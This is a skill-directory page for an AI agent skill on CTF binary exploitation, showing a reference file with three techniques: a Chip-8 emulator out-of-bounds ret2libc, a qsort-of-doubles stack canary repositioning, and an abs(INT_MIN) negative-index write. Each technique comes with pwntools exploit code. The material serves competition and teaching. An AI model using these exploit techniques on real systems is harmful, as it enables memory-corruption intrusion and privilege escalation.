All skills
ljagiello avatar

/ctf-pwn

@61c2efe
by Lukasz Jagielloljagiello/ctf-skills3.4k stars
393

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

This session only. Nothing lands on disk.

advanced-exploits-5.md

≈1.6k tokens on demand. Your agent reads this file only when SKILL.md points to it.

CTF Pwn - Advanced Exploit Techniques (Part 5)

Data-interpretation exploitation — cases where the vulnerable program reinterprets attacker-controlled data (bytecode, floats, hash values) in ways that bypass bounds checks or stack protection. For earlier advanced exploits, see advanced-exploits.md, advanced-exploits-2.md, advanced-exploits-3.md, and advanced-exploits-4.md.

Table of Contents


Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)

Pattern: A SUID Chip-8 emulator executes untrusted guest bytecode. Guest memory is nominally 4 KB but the I register is 16 bits, and the emulator's LD [I], Vx / LD Vx, [I] opcodes perform no bounds check. The guest writes 16-bit offsets that reach past mem[4096] into the host stack, leaking a libc return address and then overwriting the saved RIP with a one-gadget.

; Chip-8 pseudo-assembly: read 8 bytes from host stack offset 6360
ANNN  ; LD I, 0x18D8        (6360 — tuned from a gdb run)
F865  ; LD V0..V7, [I]      (libc address now in V0..V7)
; Print hex or send back via the emulator's debug channel
# Host-side exploit driver
from pwn import *
elf = ELF("./chip8")
libc = ELF("./libc.so.6")

# 1. Build a program that reads 8 bytes at offset 6360, then writes the
#    one-gadget RIP back to the same offset.
one_gadget = libc.address + 0x45226
prog = asm_chip8([
    ("LD I",  0x18D8),
    ("LD V0..V7, [I]", None),   # V0..V7 = leaked libc pointer
    # Derive libc base (subtract known offset) and rewrite RIP:
    ("XOR Vx, <delta>", None),
    ("LD I",  0x18D8),
    ("LD [I], V0..V7", None),
])
io = process(["./chip8", prog])
io.interactive()

Key insight: Emulators that expose a narrower address space than their register file invite bounds-check gaps. Any time a "small" memory buffer is addressed by a wider register, the bytes beyond the declared buffer are the real target. On Linux this usually lands you in libc first (stack saved registers, then __libc_start_main return). The trick is calibrating the offset once in gdb; the rest is regular ret2libc with the emulator as an arbitrary-read/write primitive.

References: IceCTF 2018 — Twitter, writeup 11047


Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)

Pattern: The vulnerable program reads an array of double values from the user, runs qsort, then prints the sorted floats. Return address and stack canary live in the same frame reinterpreted as doubles. Because qsort orders the entire frame by IEEE-754 value, an attacker picks input floats whose bit patterns land the correct canary back in the canary slot after the sort — while overwriting the saved RIP slot with a crafted float that re-interprets as a valid win-function address.

from pwn import *
import struct

def f2u(d):                        # double → raw bytes
    return struct.pack("<d", d)

def u2f(b):                        # raw bytes → double
    return struct.unpack("<d", b)[0]

win      = 0x400837                # win-function address
canary_d = u2f(p64(0xDEADBEEFCAFEBABE))   # canary bytes interpreted as double

# Inputs chosen so that post-qsort order places:
#   slot 0 → fake canary (same bits as the real one)
#   slot 1 → win()/ret gadget value
payload = [
    canary_d,
    u2f(p64(win).ljust(8, b"\x00")),
    -1.1,         # padding
    -20.1,        # padding
]

io = process("./doubletrouble")
io.sendline(" ".join(repr(x) for x in payload))
io.interactive()

Key insight: When a program reinterprets the stack frame as numeric data and sorts it, the attacker no longer needs a write primitive — the sort itself is the write. Pick floats whose IEEE-754 representation collides with the target bit pattern (canary, return address, saved RBP), then arrange them so the sort order moves them into place. Works against stack canaries because the original canary is already in the frame; you just need to stuff an identical double in another slot and let the sort re-seat it.

References: CSAW CTF Qualification Round 2018 — doubletrouble, writeups 11201, 11213, 11220


Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)

Pattern: A bloom filter computes bits[abs(hash) % size] to mark entries. abs(INT_MIN) is undefined in C and glibc returns INT_MIN unchanged, so abs(INT_MIN) % 62 == -2. Because size is 62 and the bits array is immediately followed by a linked_lists array in BSS, the -2 index resolves to a controlled write into the linked-list metadata, hijacking a function pointer that the next allocator call will dereference.

// Vulnerable code
int idx = abs(key_hash) % BLOOM_SIZE;
bits[idx] = 1;                     // idx can be negative
# Crafting the input so that hash(input) == INT_MIN (0x80000000).
# Many toy bloom filters use FNV-1a or multiplicative hashes; a short
# brute-force finds a colliding prefix in seconds.
from pwn import *

def fnv1a(data):
    h = 0x811c9dc5
    for b in data:
        h ^= b
        h = (h * 0x01000193) & 0xFFFFFFFF
    return h

for i in range(1 << 32):
    s = f"{i:x}".encode()
    if fnv1a(s) == 0x80000000:
        print("collide", s); break

Key insight: The attack surface is not the bloom filter itself but the two-line composition abs() % size. abs(INT_MIN) returns INT_MIN (undefined behaviour but consistent on x86-64 glibc), so the modulo preserves the sign and indexes backwards through the array. Any adjacent struct in BSS with a function pointer near offset -2 becomes a write-what-where. Mitigate with (unsigned)hash % size or hash & (size-1) for power-of-two sizes.

References: DragonCTF Teaser 2018 — Fast Storage, writeup 11460

Source: SKILL.md on GitHub

2 alerts16d5 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    The skill provides a comprehensive toolkit for binary exploitation (pwn) in CTF challenges, including instructions for environment setup and payload generation. While it involves potentially dangerous capabilities like arbitrary command execution and tool installation, these are consistent with its stated educational and competitive purpose.

  • Socket16d

    12 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk16d

    Risk: LOW · No issues

  • Runlayer6mo

    7/7 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 61c2efe. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 3 weeks ago.

Activeupdated 3 weeks ago
metadata
{
  "user-invocable": "false"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.